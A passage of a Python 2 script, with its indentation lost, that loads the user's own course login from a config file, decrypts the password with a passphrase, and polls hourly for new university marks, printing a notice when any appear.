file.close()
if qFour != None:
brFFS = FifthStep(bOne, qFour, rFour)
return brFFS.getMarks()
return None, None
theFile = open("marks.cfg", 'r')
course = theFile.readline().rstrip('\n')
username = theFile.readline().rstrip('\n')
password = theFile.readline().rstrip('\n')
print "Data loaded."
passphrase = ""
while len(passphrase) == 0:
passphrase = easygui.passwordbox(msg='Passphrase:', title='Encryption message', default='')
dec = Encryption(password, passphrase)
password = dec.decrypt()
if len(password) == 0:
print "Wrong passphrase ! Please try again or run 'config' again."
oldNumberOfMarks, oldMarks = None, None
else:
oldNumberOfMarks, oldMarks = checkOnMarks(course, username, password)
print oldNumberOfMarks, "marks detected."
while oldMarks != None:
time.sleep(3600)
numberOfMarks, marks = checkOnMarks(course, username, password)
if numberOfMarks > oldNumberOfMarks:
print numberOfMarks - oldNumberOfMarks, "new mark(s) detected. Take a look !"
textMsg = "Hey ! New mark(s) detected ! Take a look !"
for oldMark, mark in zip (oldMarks, marks):
if oldMark[1] != mark [1]:
textMark = mark[0]+" : "+str(mark[1])
